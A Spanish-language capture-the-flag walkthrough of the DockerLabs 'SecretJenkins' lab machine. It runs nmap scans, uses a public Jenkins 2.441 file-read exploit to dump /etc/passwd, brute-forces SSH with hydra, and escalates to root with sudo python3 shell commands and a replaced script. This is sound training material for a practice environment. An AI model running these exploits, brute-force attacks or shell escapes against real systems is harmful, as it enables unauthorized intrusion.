> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/secretjenkins.md).
# SecretJenkins
#### **Despliegue de la Máquina:**
**1. Descarga:**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **SecretJenkins** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
**2. Descompresión:**
Utilizamos `7z` para descomprimir los archivos:
```bash
7z x secretjenkins.zip
```
**3. Ejecución:**
Ejecutamos el script que carga la imagen y levanta el contenedor vulnerable en Docker:
```bash
bash auto_deploy.sh secretjenkins.tar
```
***
#### **Reconocimiento:**
**1. Verificación de Conectividad:**
Confirmamos que la máquina está activa con un `ping`:
```bash
ping -c 1 172.17.0.2
```
**2. Escaneo de Puertos:**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Identificamos dos puertos abiertos:**
* **Puerto 22:** `SSH`.
* **Puerto 8080:** `HTTP`.
**3. Escaneo Detallado:**
Analizamos los puertos encontrados con mayor profundidad:
```bash
nmap -p22,8080 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 8080:** Jetty 10.0.18.
**4. Identificación del Servicio Web:**
Al acceder a `http://172.17.0.2:8080/` visualizamos un panel de login de Jenkins.
Ejecutamos `whatweb` para identificar la versión y las tecnologías que utiliza dicho servicio web:
```bash
whatweb http://172.17.0.2:8080/
```
**Detectamos:** Jenkins 2.441.
***
#### **Explotación:**
**1. Búsqueda de Vulnerabilidades:**
Consultamos fuentes de exploits y encontramos el siguiente: [Jenkins 2.441 - Local File Inclusion](https://www.exploit-db.com/exploits/51993).
**2. Ejecución del Exploit:**
Ejecutamos el script con Python3 para leer el contenido del archivo `/etc/passwd`:
```bash
python3 51993.py -u http://172.17.0.2:8080 -p /etc/passwd
```
**Identificamos dos usuarios locales interesantes:**
* `bobby`.
* `pinguinito`.
**3. Ataque de Fuerza Bruta SSH:**
Creamos un archivo con los usuarios detectados y usamos `hydra` con la lista `rockyou.txt`:
```bash
hydra -L usuarios.txt -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```
**Resultados:**
* **Usuario:** `bobby`.
* **Contraseña:** `chocolate`.
Nos conectamos vía SSH:
```bash
ssh bobby@172.17.0.2
```
***
#### **Escalada de Privilegios:**
**1. De Bobby a Pinguinito:**
Verificamos privilegios con `sudo -l`:
```bash
(pinguinito) NOPASSWD: /usr/bin/python3
```
Eso nos permite ejecutar Python3 como `pinguinito`:
```bash
sudo -u pinguinito python3 -c 'import os; os.system("/bin/sh")'
```
Ahora estamos dentro de la máquina como el usuario `pinguinito`.
**2. De Pinguinito a Root:**
Consultamos de nuevo `sudo -l`:
```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```
El archivo `/opt/script.py` tiene permisos de ejecución y lectura para el usuario actual, y su contenido ejecuta una función básica de copia de archivos. Aprovechamos este comportamiento para reemplazarlo por uno malicioso.
Creamos un script en Python llamado `1.py` que simplemente ejecuta una shell:
```bash
echo 'import os; os.system("/bin/sh")' > 1.py
```
El script legítimo ubicado en `/opt/script.py` lo eliminamos para evitar conflictos:
```bash
rm script.py
```
Renombramos nuestro archivo `1.py` para que tenga el mismo nombre que el original y esté en la ruta requerida:
```bash
mv 1.py script.py
```
Utilizamos `sudo` para ejecutar el script con privilegios de `root`, ya que el sistema lo permite sin requerir contraseña:
```bash
sudo -u root /usr/bin/python3 /opt/script.py
```
**Resultado:** Obtenemos una shell como el usuario `root`, lo que significa que hemos comprometido completamente la máquina.